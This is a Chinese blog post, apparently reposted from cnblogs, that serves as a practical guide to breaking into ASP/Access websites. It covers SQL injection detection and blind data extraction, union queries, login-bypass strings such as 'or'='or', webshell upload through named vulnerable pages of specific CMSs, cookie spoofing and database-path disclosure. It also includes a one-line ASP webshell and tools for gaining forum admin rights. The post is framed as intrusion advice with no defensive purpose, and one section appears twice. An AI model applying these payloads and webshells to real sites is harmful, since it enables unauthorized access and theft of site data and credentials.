• SQL注入


    本文由zoujialan贡献
    一、注入点的判断及猜解
    1.加入单引号 ’提交,
    结果:如果出现错误提示,则该网站可能就存在注入漏洞。
    2.数字型判断是否有注入;
    语句:and 1=1 ;and 1=2 (经典)、' and '1'=1(字符型)
    结果:分别返回不同的页面,说明存在注入漏洞.
    分析:and 的意思是“和”如果没有过滤我们的语句,and 1=1就会被代入SQL查询语句进行查询,
    如果and前后的两条语句都是真的话就不会出错,但如果前后语句有一个为假的话,程序就会暴错。
    也就表明程序有注入漏洞
    防注入解决办法:
    1>使用or 2>1 ; or 1>2来进行判断
      结果:分别返回不同的页面,说明存在注入漏洞.
      分析:or注入只要求前后两个语句只要有一个正确就为真,如果前后两个语句都是正确的,反而为
    假。
       记住:or注入时,or后面的语句如果是正确的,则返回错误页面!如果是错误,则返回正确页面
    ,说明存在注入点。
    2> 使用xor 1=1; xor 1=2
       结果:分别返回不同的页面,说明存在注入漏洞.
       分析:xor 代表着异或,意思即连接的表达式仅有一个为真的时候才为真。
       记住:xor注入时,xor后面的语句如果是正确的,则返回错误页面积,如果是错误,则返回正确
    页面,说明存在注入点。
    3>把and 1=1转换成URL编码形式后在提交
      and 1=1 URL编码:%41%4E%44%20%%31%3D%31
    4>使用-1;-0
      分析:如果返回的页面和前面不同,是另一则新闻,则表示有注入漏洞,是数字型的注入漏洞;在 
    URL地址后面加上 -0,URL变成 news.asp?id=123-0,返回的页面和前面的
    页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.
    3.字符型判断是否有注入:
      语句:' and '1'=1;' and  '1=2(经典)
      结果:结果:分别返回不同的页面,说明存在注入漏洞.
      分析:加入' and '1'=1返回正确页面,加入' and  '1=2返回错误页面,说明有注入漏同。
      防注入解决办法:
      1>在URL的地址后面加上'%2B'(字符型)
      分析:URL地址变为:news.asp?id=123'%2B',返回的页面和1同;加
    上'2%2B'asdf,URL地址变为:news.asp?id=123'%2Basdf,返回的页面和1
    不同,或者说未发现该条记录,或者错误,则表示存在注入点,是文本型的。
    4.搜索型判断是否有注入:
    简单的判断搜索型注入漏洞存在不存在的办法是先搜索',如果出错,说明90%存在这个漏洞。然后搜
    索%,如果正常返回,说明95%有洞了。
    说明:加入如"&;"、"["、"]"、"%"、"$"、"@"等特殊字符,都可以实现,如果出现错误,说明有问题
    操作:
    搜索一个关键字,比如2006吧,正常返回所有2006相关的信息,再搜索2006%'and 1=1 and '%'='和
    2006%'and 1=2 and '%'=',存在异同的话,就是100%有洞了。
    关键字%' and 1=1 and '%'='%
    关键字%' and 1=2 and '%'='%
    将and 1=1 换成注入语句就可以了
    5.判断数据库类型:and user>0  例如:showdetail.asp?id=49 ;and user>0 
    如果是ACCESS数据库,那么返回的错误里一般会有"Microsoft JET Database"关键定,如果是MSSQL数
    据库的话返回的错误提示里一般会含有"SQL Server"关键了.
    6.猜表名 and exists (select * from 表名)
      说明:意思与上面一样,只是用的语名不一样。
    7.猜列名 and (select count(列名) from 表名)>0
      说明:如果我们输入的列名猜解正确否反回正常页面
    8.猜长度 and (select top 1 len(username) from admin)>0
      说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的长度
    为正确。
    9.猜内容 and (select top 1 asc(mid(username,1,1)) from admin)>50 ascii码1-128
      说明:如果我们输入的最后一位数据返回错误,而错误前一位数字返回正确,说明我所猜解的数字
    正确。(可以使用折半法猜内容)
    折半法:最小值与最大值差的一半,比如输入50返正确,输入100返回错误,折半后输入75。
    10.联合查询注入(union查询)
    操作步骤:
    1>在正常语句后台加入 and 1=2 union select * form 表名,其中*号代表字段数量,从1一直追加
    (and 1=2 union select 1,2,3,4 form 表名)如果字段数正确就会有暴错。
    2>在页面显示数字的地方用真实得到的字段名代替,如:username,password.
    3>在页面字段值处暴出真实的数据库字段值。
    二、查找后台地址,找到后台用得到的用户管理员的帐户与密码进行登陆.
    三、上传WEBSHELL
    方法主要有:
    1.上传漏洞: 如果看到:选择你要上传的文件 [重新上传]或者出现“请登陆后使用”,80%就有漏洞
    了! 有时上传不一定会成功,这是因为Cookies不一样.我们就要用WSockExpert取得Cookies.再用 
    DOMAIN上传或是桂林老兵上传工具.
    1>上传漏洞的文件
      动网是upfile.asp。
      动易是在upfile_soft.asp,(软件上传漏洞)upfile_softpic.asp(图片上传漏洞)
      动感是在uploadflash.asp,upfile_flash.asp,利用抓包工具抓包得到cookies,再用   DOMAIN上
    传或是桂林老兵上传工具
    2>添加上传类型
      asa|asaspp
    3>就是在上传时在后缀后面加空格或者加几点,也许也会有惊奇的发现。例:*.asp ,*.asp..。
    4>上传图片文件木马,使用备份数据库得到asp文件
    2.cookies欺骗
      使用cookies可以达到让网站认识你的目的。但是如果cookies验证不足就会形成cookies欺骗。用  
    到工具 桂林老兵cookies欺骗工具。
    3.%5c暴库
      把二级目录中间的/换成%5c EY:otherweb ... s.asp?BigClassName=职
    责范围&;BigClassType=1 如果你能看到:’E:ahttc040901
    otherwebdzdatabaseiXuEr_Studio.asa’不是一个有效的 路径。 确定路径名称拼写是否正确,
    以及是否 连接到文件存放的服务器。 这样的就是数据库了。下载时用FLASHGET换成.MDB格式的就行

    4.conn.asp暴库
      这个也是比较老的漏洞,利用价值不大
    5.'or'='or'万能密码登陆
      ’or’=’or’这是一个可以连接SQL的语名句.可以直接进入后台。我收集了一下。类似的还有 : 
      ’or’’=’ " or "a"="a ’) or (’a’=’a ") or ("a"="a or 1=1-- ’ or ’ a’=’a  
      一个很老的利用方法,主要用于一些比较老的网站。
    6.旁注,也就是跨站. 我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务
    器的站点,然后在利 用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点
    ,就是一些服务器 的绝对路径经过加密,这就看我们的本事了 
    7.写入ASP格式数据库。就是一句话木马[〈%execute request("value")%〉 ],常用在留言本. 如:
    这个就是ASP格式的数据库或者可以写入内容的
    ASP文件,如南方数据的系统配置],再写 入一句话木马.
    8.旁注,也就是跨站. 我们入侵某站时可能这个站坚固的无懈可击,我们可以找下和这个站同一服务
    器的站点,然后在利 用这个站点用提权,嗅探等方法来入侵我们 要入侵的站点。,在这里有个难点
    ,就是一些服务器 的绝对路径经过加密,这就看我们的本事了
    四、整站利用
        动网BBS 可以先用:dvbbs权限提升工具,使自已成为前 
       台管理员。 THEN,运用:动网固顶贴工具,找个固顶贴,再取得COOKIES,这个要你自已做。我   
    们可以用 WSockExpert取得Cookies/NC包 这个我就不做了,网上教程多的是,自已下个看看。     
    工具:dvbbs权限提升工具 动网固顶贴工具
    总结:
    个人认为ACCESS网站注比不是很灵活,方法大家都知道,针对国内的网站来说大家可以到网站搜索
    网站是利用什么程序改过来的,现在一般都是利用已经存在的企业网站系统来进行修改。

    下一篇整理MSSQL注入方法,MSSQL注入十分的灵活,功能也特别强大.只要找到注入点,一般
    情况下是可以拿下来的,

  • 相关阅读:
    关于putty使用详解
    ORA12505: TNS: 监听程序当前无法识别连接描述符中所给出的SID等错误解决方法
    VMware的“Bridge”、“NAT”、“Hostonly”上网方式的区别
    转贴一个很全的sql用法
    网站
    sql exsits问题!!
    petshop4.0 profile
    一些应该知道的
    继承System.Web.UI.Page的页面基类
    应用程序域(Application Domain)
  • 原文地址:https://www.cnblogs.com/cmt110/p/7569042.html
Copyright © 2020-2023  润新知